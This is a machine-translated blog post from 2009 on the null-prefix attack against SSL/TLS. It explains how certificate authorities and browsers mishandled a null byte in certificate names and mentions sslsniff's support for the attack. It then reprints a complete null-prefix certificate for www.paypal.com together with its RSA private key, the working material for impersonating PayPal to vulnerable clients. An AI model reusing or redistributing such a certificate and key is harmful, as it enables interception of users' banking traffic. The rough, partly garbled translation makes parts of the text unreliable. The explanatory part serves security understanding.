12:41 Attack with a zero prefix for ssl / tls | |
| I would like to express my dissatisfaction Habra-notes «IE, Google Chrome, Safari (Win), and counterfeit certificates SSL» (which had already removed, based on an article from xakep.ru) and slightly improve the situation. Dissatisfaction arose primarily because of lack of substance and analysis of the issue, unnecessary hysteria. In this article I will comment on three questions that reveal the essence of the matter. 1. The essence of the attack and who is to blame. 2. What is the support for an attack tool sslsnif. 3. Can I just take to forge a certificate. 1. The essence of the attack and who is to blame The essence of the attack is misrepresented, it was possible to obtain a certificate that incorrectly perceived by some libraries / programs (eg browsers). This process involves two parties: the CA and browsers, and can say they are guilty in equal measure. The attacker tries to create a certificate for a site with a name for your domain that contains a null character (eg «xxx \ 0.mysite.ru»). Error CA (has been mentioned Verisign) lies in the fact that it was allowed to do, and programs that, when comparing with the name of the site, they consider only the first half of the name and place of «xxx» prmere can be put in «www.mybank.ru». Obviously, the CAs have this problem, must close it, check the database for existing incorrect names and slapped on the head of their respective owners. Link to the article the author attacks: www.thoughtcrime.org / papers / null-prefix-attacks.pdf 2. What is the essence of support for an attack tool sslsnif Support sslsnif attack is that the utility has learned to choose the certificate for the requested name from the list prepared in advance. 3. Can I just take fake certificate and use this vulnerability. None. Must at least pay for the certificate and go through the procedure of issuance (if possible!) In CA. History news News about the vulnerability surfaced on Monday, when a certificate is to exploit the vulnerability with a key. Owner: CN = www.paypal.com ssl.secureconnection.cc, OU = Secure Unit, O = Security, L = San Francisco, ST = California, C = US Issuer: EMAILADDRESS = general @ ipsca.com, CN = ipsCA CLASEA1 Certification Authority, OU = ipsCA CLASEA1 Certification Authority, O = "general@ipsca.com CIF B-B62210695", O = IPS Certification Authority sl, L = Barcelona, ??ST = Barcelona, ??C = ES Serial number: f09b Valid from: Wed Feb 25 04:04:17 YEKT 2009 until: Fri Feb 25 04:04:17 YEKT 2011 Certificate fingerprints: MD5: 95: ED: 17:87:03: CE: F0: 58:02: D5: 9E: 9D: A3: A8: 68:81 SHA1: 4C: 88:9 E: 28: D7: 7A: 44 : 1E: 13: F2: 6A: BA: 1F: E8: 1B: D6: AB: 7B: E8: D7 Signature algorithm name: SHA1withRSA Version: 3 Here are a couple of interesting facts about the organization that issued the certificate: 1. The action of the root certificate ends December 30, 2009 2. Can not authenticate certificates from the organization's protocol OCSP, openssl ocsp-issuer IPS-IPSCABUNDLE.CRT-cert paypal.cer-url http://ocsp.ipsca.com-text does not work out. Below is issued a certificate with a key: -----BEGIN CERTIFICATE ----- MIIGRDCCBa2gAwIBAgIDAPCbMA0GCSqGSIb3DQEBBQUAMIIBEjELMAkGA1UEBhMC RVMxEjAQBgNVBAgTCUJhcmNlbG9uYTESMBAGA1UEBxMJQmFyY2Vsb25hMSkwJwYD VQQKEyBJUFMgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgcy5sLjEuMCwGA1UEChQl Z2VuZXJhbEBpcHNjYS5jb20gQy5JLkYuICBCLUI2MjIxMDY5NTEuMCwGA1UECxMl aXBzQ0EgQ0xBU0VBMSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTEuMCwGA1UEAxMl aXBzQ0EgQ0xBU0VBMSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTEgMB4GCSqGSIb3 DQEJARYRZ2VuZXJhbEBpcHNjYS5jb20wHhcNMDkwMjI0MjMwNDE3WhcNMTEwMjI0 MjMwNDE3WjCBlDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAU BgNVBAcTDVNhbiBGcmFuY2lzY28xETAPBgNVBAoTCFNlY3VyaXR5MRQwEgYDVQQL EwtTZWN1cmUgVW5pdDEvMC0GA1UEAxMmd3d3LnBheXBhbC5jb20Ac3NsLnNlY3Vy ZWNvbm5lY3Rpb24uY2MwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBANJp + m86 ALQhG8ixAtc/GbLEbbRU + IuKzNtywp48YLnGkT2Ct32Z/9EphMFzU5yC3fwkjHfV QfPoHkKhrS2e/1sQJs6dVxdzFiM4yNbxuqOWWxZnSk9zlzpNFKT04j + LBYNC0dDc L3rlthCyEcDcISqQ/66XcVpJgaxA8zu4WbJPAgMBAAGjggMhMIIDHTAJBgNVHRME AjAAMBEGCWCGSAGG + EIBAQQEAwIGQDALBgNVHQ8EBAMCA/gwEwYDVR0lBAwwCgYI KwYBBQUHAwEwHQYDVR0OBBYEFGGPYTRDVRR/JwnOTIvqm3sZJbxuMB8GA1UdIwQY MBaAFA4HYNQ5yRtbXZB7I8jSNJ1KmkY5MAkGA1UdEQQCMAAwHAYDVR0SBBUwE4ER Z2VuZXJhbEBpcHNjYS5jb20wcgYJYIZIAYb4QgENBGUWY09yZ2FuaXphdGlvbiBJ bmZvcm1hdGlvbiBOT1QgVkFMSURBVEVELiBDTEFTRUExIFNlcnZlciBDZXJ0aWZp Y2F0ZSBpc3N1ZWQgYnkgaHR0cHM6Ly93d3cuaXBzY2EuY29tLzAvBglghkgBhvhC AQIEIhYgaHR0cHM6Ly93d3cuaXBzY2EuY29tL2lwc2NhMjAwMi8wQwYJYIZIAYb4 QgEEBDYWNGh0dHBzOi8vd3d3Lmlwc2NhLmNvbS9pcHNjYTIwMDIvaXBzY2EyMDAy Q0xBU0VBMS5jcmwwRgYJYIZIAYb4QgEDBDkWN2h0dHBzOi8vd3d3Lmlwc2NhLmNv bS9pcHNjYTIwMDIvcmV2b2NhdGlvbkNMQVNFQTEuaHRtbD8wQwYJYIZIAYb4QgEH BDYWNGh0dHBzOi8vd3d3Lmlwc2NhLmNvbS9pcHNjYTIwMDIvcmVuZXdhbENMQVNF QTEuaHRtbD8wQQYJYIZIAYb4QgEIBDQWMmh0dHBzOi8vd3d3Lmlwc2NhLmNvbS9p cHNjYTIwMDIvcG9saWN5Q0xBU0VBMS5odG1sMIGDBgNVHR8EfDB6MDmgN6A1hjNo dHRwOi8vd3d3Lmlwc2NhLmNvbS9pcHNjYTIwMDIvaXBzY2EyMDAyQ0xBU0VBMS5j cmwwPaA7oDmGN2h0dHA6Ly93d3diYWNrLmlwc2NhLmNvbS9pcHNjYTIwMDIvaXBz Y2EyMDAyQ0xBU0VBMS5jcmwwMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzABhhZo dHRwOi8vb2NzcC5pcHNjYS5jb20vMA0GCSqGSIb3DQEBBQUAA4GBAGjueZeX3Tvv FmoG8hSabs2eEveqgxC90XyY + seu1A4snjgFnVJgqZkKgbSYkB2uu0rXudyInjd4 QVv3gqXyukElWpAaHkU4oVJYdZQmRPsgB7pEzOVKLXI/mEf2JtwFRgUHYyGrRpuc eNVUWz0MHshkjLVQI4Jv27giHEOWB6i7 -----END CERTIFICATE ----- -----BEGIN RSA PRIVATE KEY ----- MIICXQIBAAKBgQDSafpvOgC0IRvIsQLXPxmyxG20VPiLiszbcsKePGC5xpE9grd9 mf / RKYTBc1Ocgt38JIx31UHz6B5Coa0tnv9bECbOnVcXcxYjOMjW8bqjllsWZ0pP c5c6TRSk9OI/iwWDQtHQ3C965bYQshHA3CEqkP + ul3FaSYGsQPM7uFmyTwIDAQAB AoGAcqDnnOaVcYxD7Z55NLgckOYv + bj8ulCAb + DiI4AzFaIWh9MJkXRvCAy9VQI1 / 6LPukhS + gmE55KBwb0AckUXSRC4DuPXOhgT6ywyEJGQp6IdaQmC4NoyC + G4GPnr h0YISVKTT1ppRgjF6tpaFvElGTse + yejtKAssduT45MoxGkCQQDx58UFfPCVwAho J7/4TXpEebYs/BuLKYwQKUuQe1B + dV2WtSaub + jbSSpRVScTpyfKRwN0w4UZzs / 6 4Zzs/erbAkEA3qx8uhMy7Dxu8zWx + C1b5LSh4Rf4sCvXug/nx3opvahO89iP5P6L MVplaVsVPwligUEaMsx9rJEJvt48sMEenQJBAOQlE6MOZ5TETOl2e84BvEuygodA qfWAlLF1UOgN9SefJ0oIxVeFAhc2lOuqJLWbU6KpgO/xqqlhbLOPbsHw5DsCQDj0 j5acsIrCTnLBCjt7hqSyGzHTCtYs8KnzxYo9Ug3jzgYLH4soHHxMLeJL3NxZzytW dpgFvCN2mbKLb6SaUPUCQQCKjbXoN7DkBbk8wU0ZY5fGCtLEUHtEmT93nFgmUvQ3 ZSB/EvhtWRPcWGdRC5tj0YxaUFevVhZA/Ng1d1JzbcKB -----END RSA PRIVATE KEY ----- Another certificate for "*" is available at the link: http://www.noisebridge.net/pipermail/noisebridge-announce/attachments/20090929/64249b18/attachment. txt which is an attachment to the letter (published on 29 September 2009): https: / / www.noisebridge.net/pipermail/noisebridge-announce/2009-September/000117.html certificate signed by the same IPS Certification Authority. Owner: CN =* thoughtcrime.noisebridge.net, OU = Moxie Marlinspike Fan Club, O = Noisebridge, L = San Francisco, ST = California, C = US Issuer: EMAILADDRESS = general@ipsca.com, CN = ipsCA CLASEA1 Certification Authority, OU = ipsCA CLASEA1 Certification Authority, O = "general@ipsca.com CIF B-B62210695", O = IPS Certification Authority sl, L = Barcelona, ??ST = Barcelona, ??C = ES Serial number: 13179f Valid from: Thu Jul 30 13:14:42 YEKST 2009 until: Sat Jul 30 13:14:42 YEKST 2011 Certificate fingerprints: MD5: AD: F6: 35: DA: FF: 44:8 F: 43:03:14:28:4 D: 08: EA: F8: 2C SHA1: 64:72: 7D: D1: 0B: 35: C9: 7B: C8: 82: C8: AA: CF: 73: D0: 56:68: B9: 52: C5 Signature algorithm name: SHA1withRSA Version: 3 | |
|
| |
| Total comments: 0 | |